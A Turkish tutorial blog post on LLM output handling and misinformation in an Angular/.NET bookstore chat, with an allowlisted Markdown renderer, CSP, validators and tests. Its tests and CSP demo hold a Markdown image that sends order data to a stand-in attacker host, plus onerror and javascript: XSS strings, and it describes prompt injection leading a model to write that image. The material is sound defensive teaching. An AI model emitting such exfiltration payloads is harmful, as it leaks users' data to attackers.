LLM Çıktısı Güvenilmeyen Input'tur: Improper Output Handling, Markdown Render'ı ve Misinformation
Model çıktısı her dış girdi gibi güvenilmeyen input'tur: Angular'ın sanitizer'ı script'i durdurur ama dış adrese giden bir Markdown resmini durdurmaz. Allowlist'li bir marked renderer'ı ve Vitest testleriyle güvenli bir mesaj component'i yazıyor, CSP img-src'nin sızıntıyı Chromium'da kestiğini gösteriyor, structured output'u katalogla doğruluyor, modeli SQL yerine sorgu şablonu parametrelerine sınırlıyor ve doğru numarayla gösterilmiş bir kaynağın yanlış iddia taşıyabildiğini ölçüyoruz.
Sürüm notu: Bu yazıdaki kodlar .NET 10 ve Angular 22.2 ile derlenip denenmiştir; Microsoft.Extensions.AI 11.0.0, OllamaSharp 5.5.2, Microsoft.Data.Sqlite 10.0.15, marked 18.2.0, Vitest 5.1, Playwright 1.65 (Chromium) ve yerel modelde Ollama 0.34.4 (gemma3:4b) kullanılmıştır.
Önce Tahmin Et
Bookstore'un Angular chat UI'ı asistanın cevabını Markdown olarak alıyor, marked ile HTML'e (HyperText Markup Language) çeviriyor ve [innerHTML] ile ekrana basıyor. Ekip rahat: Angular [innerHTML]'a giden her şeyi sanitize ediyor, bypassSecurityTrustHtml hiçbir yerde yok. Bir gün asistanın cevabı şöyle bitiyor:
Here is your summary. 
Bu satırı modele kimin yazdırdığını 2. yazıdan biliyoruz: okur yorumundaki ya da bir web sayfasındaki bir talimat. Soru şu: Angular'ın sanitizer'ı bu resmi engeller mi? Engellemezse, tarayıcı resmi yüklemeye çalıştığı anda attacker.example'ın log'una ne düşer? Kimse resme tıklamadı, kimse bir şey indirmedi.
Bu yazı modelin çıktısını, diğer her dış girdi gibi güvenilmeyen input sayıyor. Önce LLM (büyük dil modeli) Top 10 2026'nın LLM10 Improper Output Handling maddesini Angular'daki Markdown render'ı, CSP (tarayıcının hangi kaynakları yükleyebileceğini belirleyen güvenlik header'ı) ve backend'deki structured output üzerinden ele alacağız; sonra çıktının güvenli ama yanlış olduğu duruma, LLM07 Misinformation'a geçeceğiz.
Çıktı Bir Input'tur
OWASP (web uygulama güvenliği üzerine çalışan açık topluluk) 2026 dokümanı LLM10'u model çıktısının downstream bileşenlere verilmeden önce yeterince doğrulanmaması, temizlenmemesi ve encode edilmemesi olarak tanımlıyor. Mantığı tanıdık: model çıktısını prompt kontrol edebildiği için, çıktıyı doğrudan kullanmak kullanıcıya dolaylı yoldan yeni bir yetki vermek gibi. Sonuçları da tanıdık: tarayıcıda XSS (Cross-Site Scripting), backend'de SQL injection, SSRF (sunucunun saldırganın belirlediği adrese istek atmaya zorlanması), path traversal ve uzaktan kod çalıştırma. Web Güvenliği (OWASP Top 10) serisinin injection yazılarında anlattığımız her şey burada da geçerli; tek fark, girdiyi yazanın artık bir model olması.
2026 sürümü iki sink'i özellikle vurguluyor. Birincisi terminaller, log görüntüleyiciler ve IDE panelleri: model çıktısındaki ANSI (Amerikan ulusal standartlar kuruluşu) escape dizileri ekranı yanıltabilir ya da pano içeriğini değiştirebilir; doküman bu kontrol karakterlerinin yazılmadan önce temizlenmesini öneriyor. İkincisi, açılıştaki örnek: model çıktısında geçen resim, link önizlemesi ya da iframe'i kendiliğinden yükleyen istemciler. Bu durumda veri sızdırmak için kimsenin bir şeye tıklaması gerekmiyor; tarayıcının resmi istemesi yeterli. Liste sıralamasında beşinciden onuncuya inse de, bir chat UI'ı yazan herkes için bu maddenin pratik ağırlığı yüksek.
Angular'ın Sanitizer'ı Neyi Korur, Neyi Korumaz?
Açılıştaki ekibin component'ini birebir yazdım: varsayılan ayarlarla marked ve [innerHTML].
import { Component, computed, input } from '@angular/core';
import { marked } from 'marked';
// Karşılaştırma için: varsayılan marked + [innerHTML]
@Component({
selector: 'app-naive-message',
template: `<div class="body" [innerHTML]="html()"></div>`,
})
export class NaiveMessage {
readonly markdown = input.required<string>();
protected readonly html = computed(() => marked.parse(this.markdown(), { async: false }) as string);
}
Davranışını iki testle sabitledim:
import { TestBed } from '@angular/core/testing';
import { AssistantMessage } from './assistant-message';
import { NaiveMessage } from './naive-message';
const exfiltration = 'Here is your summary. ';
async function render<T>(component: new () => T, inputs: Record<string, unknown>): Promise<HTMLElement> {
const fixture = TestBed.createComponent(component);
for (const [name, value] of Object.entries(inputs)) {
fixture.componentRef.setInput(name, value);
}
await fixture.whenStable();
return fixture.nativeElement as HTMLElement;
}
describe('NaiveMessage', () => {
it('loads an image from any host the model writes', async () => {
const el = await render(NaiveMessage, { markdown: exfiltration });
expect(el.querySelector('img')?.getAttribute('src')).toBe('https://attacker.example/pixel.png?d=order-1042-ada');
});
it('relies on the Angular sanitizer, which strips onerror but keeps the element', async () => {
const el = await render(NaiveMessage, { markdown: 'Hi <img src=x onerror="alert(1)">' });
expect(el.querySelector('img')?.hasAttribute('onerror')).toBe(false);
});
});
İki test de geçiyor (çıktı aşağıda, güvenli component'in testleriyle birlikte). İkinci test sanitizer'ın işini yaptığını gösteriyor: model ham HTML ile bir onerror handler'ı yazdığında Angular attribute'u siliyor ve konsola "sanitizing HTML stripped some content" uyarısını basıyor. Birinci test ise sanitizer'ın sınırını gösteriyor: https://attacker.example/pixel.png?d=order-1042-ada adresli bir <img> Angular için tamamen meşru bir element. Sanitizer script çalıştırmayı engeller; tarayıcının bir adrese istek atmasını engellemez. Sorgu string'indeki order-1042-ada yerine sohbet geçmişinden bir özet, bir e-posta adresi ya da bir indirim kodu da olabilirdi.
Angular'daki DOM XSS sink'lerinin envanterini Frontend Güvenliği serisinin 2. yazısında çıkarmıştık; orada da söylediğimiz gibi, model çıktısı için bypassSecurityTrustHtml kullanmak hiçbir durumda doğru cevap değil. Sanitizer'ı atlatmak yerine, sanitizer'a gelen HTML'i baştan daraltmak gerekiyor.
Güvenli Bir Mesaj Component'i
marked'ın renderer'ını üç noktada değiştirdim. Modelin yazdığı ham HTML bir element olarak değil, metin olarak gösteriliyor. Resim yalnız izinli bir CDN (statik dosyaları kullanıcıya yakın sunuculardan dağıtan ağ) host'undan geliyorsa <img> oluyor, değilse alt metni köşeli parantez içinde yazılıyor. Link yalnız HTTPS ve izinli bir host'a gidiyorsa tıklanabilir; değilse etiket ve adresin tamamı düz metin olarak görünüyor.
import { Marked, Tokens } from 'marked';
const allowedImageHosts = ['cdn.bookstore.example'];
const allowedLinkHosts = ['bookstore.example', 'cdn.bookstore.example'];
function isAllowed(href: string, hosts: string[]): boolean {
try {
const url = new URL(href);
return url.protocol === 'https:' && hosts.includes(url.hostname);
} catch {
return false;
}
}
function escapeHtml(text: string): string {
return text.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
}
// Model çıktısı güvenilmeyen input: ham HTML, dış resim ve izinsiz link HTML'e dönüşmez
export const assistantMarkdown = new Marked({
async: false,
gfm: true,
renderer: {
html({ text }: Tokens.HTML | Tokens.Tag): string {
return escapeHtml(text);
},
image({ href, text }: Tokens.Image): string {
// Dış adresten otomatik resim yüklemesi veri sızdırma kanalıdır
return isAllowed(href, allowedImageHosts)
? `<img src="${escapeHtml(href)}" alt="${escapeHtml(text)}">`
: `[image: ${escapeHtml(text)}]`;
},
link({ href, tokens }: Tokens.Link): string {
const label = this.parser.parseInline(tokens);
// İzinsiz link tıklanabilir değil; kullanıcı adresin tamamını görür
return isAllowed(href, allowedLinkHosts)
? `<a href="${escapeHtml(href)}" rel="noopener noreferrer nofollow">${label}</a>`
: `${label} (${escapeHtml(href)})`;
},
},
});
export function renderAssistantMarkdown(markdown: string): string {
return assistantMarkdown.parse(markdown) as string;
}
Component bu fonksiyonun çıktısını yine [innerHTML] ile basıyor; Angular'ın sanitizer'ı ikinci bir katman olarak yerinde duruyor. Template'te iki ek bilgi var: her cevabın bir AI üretimi olduğunu söyleyen bir etiket ve kaynak gösterilmeyen cevaplar için bir uyarı; bunlara LLM07 bölümünde döneceğiz.
import { Component, computed, input } from '@angular/core';
import { renderAssistantMarkdown } from './safe-markdown';
@Component({
selector: 'app-assistant-message',
template: `
<article class="assistant-message">
<p class="badge">AI-generated answer. It may contain mistakes.</p>
<!-- [innerHTML] Angular'ın sanitizer'ından geçer; bypassSecurityTrustHtml yok -->
<div class="body" [innerHTML]="html()"></div>
@if (sources().length > 0) {
<p class="sources">Sources: @for (id of sources(); track id) { <span>#{{ id }}</span> }</p>
} @else {
<p class="unverified">No sources. Check this answer before you act on it.</p>
}
</article>
`,
})
export class AssistantMessage {
readonly markdown = input.required<string>();
readonly sources = input<number[]>([]);
protected readonly html = computed(() => renderAssistantMarkdown(this.markdown()));
}
Testler, saldırganın kullanmak isteyeceği her yolu tek tek kapatıyor:
describe('AssistantMessage', () => {
it('renders normal markdown', async () => {
const el = await render(AssistantMessage, { markdown: '**Clean Code** costs 480 TL.\n\n- Refactoring\n- Testing' });
expect(el.querySelector('strong')?.textContent).toBe('Clean Code');
expect(el.querySelectorAll('li').length).toBe(2);
});
it('does not load images from unknown hosts', async () => {
const el = await render(AssistantMessage, { markdown: exfiltration });
expect(el.querySelector('img')).toBeNull();
expect(el.textContent).toContain('[image: chart]');
});
it('loads images from the allowlisted CDN', async () => {
const el = await render(AssistantMessage, { markdown: '' });
expect(el.querySelector('img')?.getAttribute('src')).toBe('https://cdn.bookstore.example/covers/1.png');
});
it('shows raw HTML from the model as text', async () => {
const el = await render(AssistantMessage, { markdown: 'Hi <img src=x onerror="alert(1)">' });
expect(el.querySelector('img')).toBeNull();
expect(el.textContent).toContain('<img src=x onerror="alert(1)">');
});
it('does not make javascript: or unknown links clickable', async () => {
const el = await render(AssistantMessage, {
markdown: '[help](javascript:alert(1)) and [returns](https://bookstore.example/returns)',
});
const links = Array.from(el.querySelectorAll('a')).map(a => a.getAttribute('href'));
expect(links).toEqual(['https://bookstore.example/returns']);
});
it('marks answers without sources as unverified', async () => {
const el = await render(AssistantMessage, { markdown: 'Gift wrapping is not offered.' });
expect(el.querySelector('.badge')?.textContent).toContain('AI-generated');
expect(el.querySelector('.unverified')).not.toBeNull();
});
});
$ ng test --watch=false --reporters=verbose
stderr | src/app/chat/assistant-message.spec.ts > NaiveMessage > relies on the Angular sanitizer, which strips onerror but keeps the element
WARNING: sanitizing HTML stripped some content, see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > NaiveMessage > loads an image from any host the model writes 22ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > NaiveMessage > relies on the Angular sanitizer, which strips onerror but keeps the element 8ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > renders normal markdown 7ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > does not load images from unknown hosts 3ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > loads images from the allowlisted CDN 3ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > shows raw HTML from the model as text 3ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > does not make javascript: or unknown links clickable 3ms
✓ |bookstore-chat| src/app/chat/assistant-message.spec.ts > AssistantMessage > marks answers without sources as unverified 3ms
Tests 8 passed (8)
Sekiz test geçiyor. Basit component dış resmi yüklüyor; güvenli component aynı Markdown'ı [image: chart] metnine çeviriyor. Ham HTML ekranda okunabilir bir metin olarak görünüyor, javascript: linki ve izinsiz host'a giden link tıklanabilir değil. Stderr'deki uyarı, basit component'in testinde sanitizer'ın onerror'u sildiği anı gösteriyor.
Bu renderer bir allowlist ile çalışıyor, bir blocklist ile değil; bu bilinçli bir seçim. "attacker.example'ı engelle" diye bir liste tutamazsın; model yarın başka bir adres yazar. "Yalnız cdn.bookstore.example'dan resim" kuralı ise saldırganın kontrol ettiği her adresi kendiliğinden dışarıda bırakıyor.
CSP: Renderer'ı Atlatan Resim İçin Son Kapı
Renderer'da bir hata olabilir, biri yarın Markdown kütüphanesini değiştirebilir ya da başka bir ekip aynı cevabı kendi component'inde gösterebilir. Bu yüzden tarayıcıya da aynı kuralı söylemek gerekiyor. Strict CSP'nin Angular'a nasıl uygulandığını Frontend Güvenliği serisinin 3. yazısında anlattık; burada LLM çıktısı için kritik olan iki direktif var: img-src resimlerin, connect-src ise fetch ve XHR (XMLHttpRequest) isteklerinin hangi adreslere gidebileceğini belirliyor. Sanitizer'ı atlatmış bir cevabı taklit eden bir test sayfasını ASP.NET Core'dan bu header'la sundum:
WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
WebApplication app = builder.Build();
// Model çıktısındaki bir resim ya da fetch dışarıya veri taşımasın: yalnız kendi origin'imiz ve CDN
app.Use(async (context, next) =>
{
context.Response.Headers.ContentSecurityPolicy =
"default-src 'self'; img-src 'self' https://cdn.bookstore.example; connect-src 'self'";
await next();
});
// Sanitizer'ı atlatmış bir cevabı taklit eden test sayfası
app.MapGet("/", () => Results.Content("""
<!doctype html>
<html><body>
<p>Here is your summary.</p>
<img src="https://attacker.example/pixel.png?d=order-1042-ada" alt="chart">
</body></html>
""", "text/html"));
app.Run();
Sayfayı Playwright ile Chromium'da açıp konsolu ve isteklerin sonucunu yazdırdım:
import { chromium } from 'playwright';
const browser = await chromium.launch();
const page = await browser.newPage();
page.on('console', m => console.log(`console.${m.type()}: ${m.text()}`));
page.on('requestfailed', r => console.log(`request failed: ${r.url()} (${r.failure()?.errorText})`));
page.on('requestfinished', r => console.log(`request finished: ${r.url()}`));
await page.goto(process.argv[2]);
await page.waitForTimeout(500);
await browser.close();
$ curl -sI http://127.0.0.1:5291/ | grep -i content-security
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.bookstore.example; connect-src 'self'
$ node check.mjs http://127.0.0.1:5291/
console.error: Loading the image 'https://attacker.example/pixel.png?d=order-1042-ada' violates the following Content Security Policy directive: "img-src 'self' https://cdn.bookstore.example". The action has been blocked.
request failed: https://attacker.example/pixel.png?d=order-1042-ada (csp)
request finished: http://127.0.0.1:5291/
Tarayıcı resmi istemeye kalkıştı ama istek CSP gerekçesiyle başarısız oldu; attacker.example'a tek bir byte gitmedi. Bu katman renderer'ın yerine geçmez: CSP ihlali yine de bir hata ve kullanıcı bozuk bir resim görüyor. Ama renderer'daki bir açığın sonucunu bir veri sızıntısından bir konsol hatasına indiriyor. Content-Security-Policy-Report-Only ile başlayıp ihlal raporlarını izlemek, hangi model cevaplarının dış adres ürettiğini de gösterir; bu, 2. yazıdaki tespit katmanına iyi bir sinyal.
Structured Output'u Domain Kurallarıyla Doğrulamak
Çıktı her zaman ekrana basılan bir metin değil. Bookstore'un öneri endpoint'i modelden JSON (JavaScript Object Notation) Schema'ya uyan bir liste istiyor ve sonucu sepete eklenebilir kartlar olarak gösteriyor. LLM Temelleri serisinin 10. yazısında GetResponseAsync<T> ile şemaya uyan cevap almayı görmüştük. Şemaya uymak, cevabın doğru olduğu anlamına gelmiyor:
using System.ComponentModel;
namespace Bookstore.Assistant;
public sealed record BookRecommendation(
[property: Description("Catalog id of the book.")] int BookId,
string Title,
[property: Description("Price in TL.")] decimal Price,
string Reason);
public sealed record RecommendationResult(BookRecommendation[] Books);
// JSON Schema'ya uyan bir cevap, domain kurallarına uyduğu anlamına gelmez
public static class RecommendationValidator
{
public static (List<CatalogBook> Accepted, List<string> Problems) Validate(
RecommendationResult result, IReadOnlyDictionary<int, CatalogBook> catalog, decimal budget)
{
List<CatalogBook> accepted = [];
List<string> problems = [];
foreach (BookRecommendation rec in result.Books)
{
if (!catalog.TryGetValue(rec.BookId, out CatalogBook? book))
{
problems.Add($"book id {rec.BookId} ('{rec.Title}') is not in the catalog");
continue;
}
if (rec.Price != book.Price)
{
// Fiyat ve başlığın tek kaynağı katalog; modelin yazdığı değerler gösterilmez
problems.Add($"'{book.Title}' price {rec.Price} differs from catalog {book.Price}");
}
if (book.Price > budget)
{
problems.Add($"'{book.Title}' costs {book.Price}, over the budget of {budget}");
continue;
}
accepted.Add(book);
}
return (accepted, problems);
}
}
ChatResponse<RecommendationResult> response = await chat.GetResponseAsync<RecommendationResult>(
[
new(ChatRole.System, $"You are the Bookstore assistant. Recommend books only from this catalog:\n{catalogText}"),
new(ChatRole.User, "Recommend two books about writing clean code, each under 500 TL."),
]);
(List<CatalogBook> accepted, List<string> problems) =
RecommendationValidator.Validate(response.Result, Catalog.Books, budget: 500m);
$ dotnet run -- recommend 5
run 1: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
shown=Clean Code 480 TL, Testing in Practice 390 TL
run 2: model=1 Clean Code by Robert C. Martin 480 | 2 Refactoring by Martin Fowler 650
shown=Clean Code 480 TL
problem: 'Refactoring' costs 650, over the budget of 500
run 3: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
shown=Clean Code 480 TL, Testing in Practice 390 TL
run 4: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
shown=Clean Code 480 TL, Testing in Practice 390 TL
run 5: model=1 Clean Code by Robert C. Martin 480 | 6 Testing in Practice by Kim O'Neil 390
shown=Clean Code 480 TL, Testing in Practice 390 TL
Beş cevabın beşi de şemaya uydu; ID'ler ve fiyatlar katalogla tutarlıydı. İkinci koşuda ise model 650 TL'lik Refactoring'i "500 TL altı" bir öneri olarak sundu ve validator onu listeden çıkardı. Dikkat edilecek bir nokta daha var: model başlık alanına "Clean Code by Robert C. Martin" yazdı; kartta gösterilen başlık ve fiyat ise her zaman katalogdan geliyor, modelin yazdığından değil. Fiyat gibi bir alan için kural basit: model bir değer önerebilir, kaynağı veritabanıdır. Validator'ın yakalayamadığı bir şey de var: "temiz kod yazmak" sorusuna dört koşuda Testing in Practice önerildi. Kitap bütçeye uyuyor, katalogda var; ama soruyla ilgisi zayıf. Alaka bir domain kuralı değil, bir kalite ölçüsü; bunu 8. yazıdaki değerlendirme araçlarına bırakıyoruz.
Model SQL Yazmasın: İzinli Sorgu Şablonları
"Modele SQL ürettirip çalıştıralım" fikri her LLM projesinde bir noktada gündeme gelir. 2026 dokümanının LLM10 senaryolarından biri tam olarak bu: kullanıcı chat'ten "bütün tabloları sil" der ve modelin ürettiği sorgu incelenmeden çalışır. Bookstore'da modeli SQL yazmaktan uzak tuttum; model yalnız izinli bir sorgu şablonunun parametrelerini dolduruyor, sorguyu kod çalıştırıyor:
using System.ComponentModel;
using Microsoft.Data.Sqlite;
namespace Bookstore.Assistant;
public enum Genre { Any, Programming, Architecture, Testing }
// Model SQL yazmaz; yalnız izinli bir sorgu şablonunun parametrelerini doldurur
public sealed record BookSearch(
[property: Description("Part of the author's name, or null.")] string? Author,
[property: Description("Maximum price in TL, or null.")] decimal? MaxPrice,
Genre Genre);
public static class BookSearchQuery
{
private const string Sql = """
SELECT id, title, author, price FROM books
WHERE (@author IS NULL OR author LIKE '%' || @author || '%')
AND (@maxPrice IS NULL OR price <= @maxPrice)
AND (@genre = 'Any' OR genre = @genre)
ORDER BY price
LIMIT 5
""";
public static List<string> Run(SqliteConnection connection, BookSearch search)
{
// Modelin doldurduğu değerler de input: aralık ve uzunluk kontrolü
if (search.Author is { Length: > 60 } || search.MaxPrice is < 0 or > 10_000)
{
throw new ArgumentOutOfRangeException(nameof(search), "Search parameters are out of the allowed range.");
}
using SqliteCommand command = connection.CreateCommand();
command.CommandText = Sql;
command.Parameters.AddWithValue("@author", (object?)search.Author ?? DBNull.Value);
command.Parameters.AddWithValue("@maxPrice", (object?)search.MaxPrice ?? DBNull.Value);
command.Parameters.AddWithValue("@genre", search.Genre.ToString());
List<string> rows = [];
using SqliteDataReader reader = command.ExecuteReader();
while (reader.Read())
{
rows.Add($"{reader.GetInt32(0)} {reader.GetString(1)} by {reader.GetString(2)}, {reader.GetDecimal(3)} TL");
}
return rows;
}
}
ChatResponse<BookSearch> response = await chat.GetResponseAsync<BookSearch>(
[
new(ChatRole.System, "Turn the customer's question into a book search. Use null when a field is not mentioned."),
new(ChatRole.User, question),
]);
BookSearch search = response.Result;
Console.WriteLine($"{question}\n search: {search}");
foreach (string row in BookSearchQuery.Run(connection, search))
{
Console.WriteLine($" {row}");
}
$ dotnet run -- search
Do you have books by O'Neil under 400 TL?
search: BookSearch { Author = O'Neil, MaxPrice = 400, Genre = Testing }
6 Testing in Practice by Kim O'Neil, 390 TL
Programming books under 500 TL please.
search: BookSearch { Author = , MaxPrice = 500, Genre = Programming }
1 Clean Code by Robert C. Martin, 480 TL
Yazar adındaki kesme işareti hiçbir şeyi bozmadı; değer bir parametre ve SQL metnine hiç girmiyor. Model'in yaptığı tek şey BookSearch'ün alanlarını doldurmak; LIMIT 5, tablo adı ve kolonlar kodda sabit. Bu yaklaşım, 4. yazıdaki "açık uçlu tool yazma" kuralının sorgu tarafındaki karşılığı.
Çıktıda bir ayrıntı daha var: ilk soruda müşteri tür belirtmedi ama model Genre = Testing doldurdu. O'Neil'in kitabı gerçekten bir test kitabı olduğu için sonuç doğru çıktı; başka bir yazarda aynı uydurma filtre doğru kitabı gizleyebilirdi. Parametreli sorgu injection'ı kapatır, modelin yanlış parametre seçmesini kapatmaz. Kullanıcıya hangi filtrelerle arandığını göstermek ("Testing türünde, 400 TL altı") ve filtreyi değiştirmesine izin vermek bu yüzden iyi bir UI kararı.
LLM07 Misinformation: Güvenli Ama Yanlış Çıktı
Şimdiye kadarki her şey çıktının zararlı bir şey yapmasını engellemekle ilgiliydi. LLM07 başka bir soruyu soruyor: çıktı güvenli ama yanlışsa ne olur? 2026 dokümanı bu maddeyi yanlış, eksik ya da desteklenmeyen bir bilginin bir insan kararını, otomatik bir iş akışını ya da bir agent eylemini etkileyecek kadar inandırıcı görünmesi olarak tanımlıyor. Dokümanın proje liderlerine göre olay verisi bu maddeyi uygulayıcı oylamasının koyduğu yerden çok daha yukarıda gösteriyor; nihai sıralamada yedinciliğe çıkmasının sebebi de bu.
Halüsinasyonun neden olduğunu ve nasıl ölçüldüğünü LLM Temelleri serisinin 15. yazısında ele aldık. Burada çıktı tarafındaki savunmaya bakıyorum: cevap kaynak göstersin ve kod, gösterilen kaynağın gerçekten context'te olup olmadığını kontrol etsin.
using System.ComponentModel;
namespace Bookstore.Assistant;
public sealed record PolicySnippet(int Id, string Text);
public sealed record CitedAnswer(
string Answer,
[property: Description("Ids of the policy snippets that support the answer.")] int[] SourceIds);
// Model "kaynak #2" diyebilir; o kaynağın gerçekten context'te olup olmadığını kod kontrol eder
public static class CitationCheck
{
public static string Verdict(CitedAnswer answer, IReadOnlyCollection<PolicySnippet> context)
{
if (answer.SourceIds.Length == 0)
{
return "no sources: show as unverified";
}
int[] unknown = answer.SourceIds.Where(id => context.All(s => s.Id != id)).ToArray();
return unknown.Length == 0
? $"sources ok: {string.Join(", ", answer.SourceIds)}"
: $"cites unknown sources {string.Join(", ", unknown)}: show as unverified";
}
}
PolicySnippet[] context =
[
new(1, "Printed books can be returned within 30 days of delivery if they are unused."),
new(2, "E-books can be refunded within 14 days of purchase if they have not been downloaded."),
new(3, "Shipping is free for orders over 750 TL."),
];
string contextText = string.Join("\n", context.Select(s => $"[{s.Id}] {s.Text}"));
ChatResponse<CitedAnswer> response = await chat.GetResponseAsync<CitedAnswer>(
[
new(ChatRole.System, $"Answer using only these policy snippets and cite their ids:\n{contextText}"),
new(ChatRole.User, args.Length > 2 ? args[2] : "I bought an e-book 10 days ago and already downloaded it. Can I get a refund?"),
]);
Console.WriteLine($"run {i}: {CitationCheck.Verdict(response.Result, context)} | {response.Result.Answer.ReplaceLineEndings(" ")}");
$ dotnet run -- cite 5
run 1: sources ok: 2 | No, you cannot get a refund. According to policy [2], e-books can only be refunded within 14 days of purchase if they have not been downloaded.
run 2: sources ok: 2 | No, you cannot get a refund. According to policy [2], e-books can only be refunded within 14 days of purchase if they have not been downloaded.
# 3-5 arası koşular da aynı kaynak ve aynı cevap
$ dotnet run -- cite 5 "Do you offer gift wrapping for printed books?"
run 1: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused.
run 2: sources ok: 1 | No, gift wrapping is not offered for printed books. Policy [1] states that printed books can be returned within 30 days of delivery if they are unused.
run 3: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused. [1]
run 4: sources ok: 1 | No, gift wrapping is not offered for printed books. Policy [1] states that printed books can be returned within 30 days of delivery if they are unused.
run 5: sources ok: 1 | No, printed books can be returned within 30 days of delivery if they are unused. [1]
İlk soruda her şey yolunda: cevap doğru, kaynak doğru. İkinci soru ise politika metinlerinde hiç geçmeyen bir konu, hediye paketi. Model beş koşunun beşinde "No" ile başladı; ikisinde açıkça "gift wrapping is not offered" dedi ve kaynak olarak iade politikasını gösterdi. Kontrolümüz "sources ok" dedi, çünkü 1 numaralı kaynak gerçekten context'teydi. Kaynak gösterilmiş olması, iddianın o kaynakta yazdığı anlamına gelmiyor. ID kontrolü uydurma kaynak numarasını yakalar; kaynakla çelişen ya da kaynakta olmayan bir iddiayı yakalamak için groundedness değerlendirmesi gerekir, onu da 8. yazıda kuracağız.
UI'daki iki küçük öğe bu yüzden önemli. "AI-generated answer. It may contain mistakes." etiketi kullanıcıya cevabın neye dayandığını hatırlatıyor; kaynaksız cevaplardaki uyarı, kullanıcının o cevaba göre bir şey yapmadan önce kontrol etmesini istiyor. 2026 dokümanının önerilerinden biri de doğrulanmış bilgiyi varsayımdan ayırt etmek; kaynaklı ve kaynaksız cevabı aynı görsel ağırlıkla göstermemek bunun en basit hâli. Kritik kararlar ise modele değil insana kalmalı: iade onayı, fiyat istisnası, bir müşterinin hesabını kapatma. 4. yazıdaki önizleme ve onay akışı bunun backend tarafıydı.
Üretimde Dikkat
Model çıktısının gittiği her yeri listele: ekran, e-posta şablonu, PDF, log, başka bir servis, başka bir agent. Her biri için ayrı bir encoding ya da doğrulama kuralı gerekiyor; HTML için doğru olan, e-posta başlığı ya da terminal için yeterli olmayabilir.
CSP'yi Report-Only modunda başlatıp ihlalleri izle. Model cevaplarında beklenmedik dış adresler görmeye başladıysan, bu bir injection denemesinin ya da zehirlenmiş bir dokümanın en erken işaretlerinden biri.
Structured output'un domain doğrulamasını endpoint'in içinde tut, prompt'ta değil. "Bütçeyi aşan kitap önerme" cümlesi prompt'ta da durabilir, ama kuralı uygulayan şey RecommendationValidator; ikinci koşu bunun neden gerekli olduğunu gösterdi.
Validator'ın reddettiği cevapları ve kaynaksız cevapları metrik olarak say. Bu oranların bir model sürümünden diğerine nasıl değiştiği, yeni sürüme geçişte bakılacak ilk sayılardan biri olmalı.
Sık Düşülen Tuzaklar
Birincisi, Angular sanitizer'ını LLM çıktısı için yeterli saymak. Sanitizer script çalışmasını engeller; dış bir adrese giden resim, link ya da CSS isteğini engellemez. Yukarıdaki basit component tam olarak bunu gösterdi.
İkincisi, render'ı "kolaylaştırmak" için bypassSecurityTrustHtml'e ya da harici bir "safe HTML" pipe'ına başvurmak. Model çıktısı hiçbir koşulda güvenilir HTML değildir.
Üçüncüsü, JSON Schema'yı doğrulama sanmak. Şema biçimi kontrol eder; ID'nin var olup olmadığını, fiyatın doğruluğunu, kullanıcının o kayda erişip erişemeyeceğini kontrol etmez.
Dördüncüsü, kaynak göstermeyi doğruluk sanmak. Gift wrapping örneği, doğru numarayla gösterilmiş bir kaynağın yanlış bir iddiayı taşıyabildiğini gösterdi.
Küçük Bir Deneme
★☆☆ assistantMarkdown renderer'ına izinli olmayan link'ler için, adresi kullanıcıya gösteren ve kopyalanabilir yapan küçük bir <code> biçimi ekle. Testi önce yaz.
★★☆ RecommendationValidator'a bir kural ekle: kullanıcının aynı sohbette daha önce satın aldığı bir kitabı önerme. Satın alma geçmişini CurrentUser üzerinden al, modelin argümanından değil.
★★★ CitationCheck'e basit bir groundedness kontrolü ekle: cevabı ve gösterilen kaynak metnini ikinci bir model çağrısına ver ve "bu iddia bu metinde yazıyor mu?" sorusuna yapılandırılmış bir cevap iste. Gift wrapping sorusunda kaç koşuyu yakalıyor? Yanlış alarm veriyor mu?
Buraya kadar modelin girdisine, eline verilen yetkilere ve çıktısına baktık. Bir sonraki yazıda tedarik zincirine geçiyoruz: indirilen modelin ve sağlayıcının model sürümünün nereden geldiği, ingestion verisinin zehirlenmesi ve vector store'un kendi zafiyetleri; LLM04, LLM05 ve LLM09.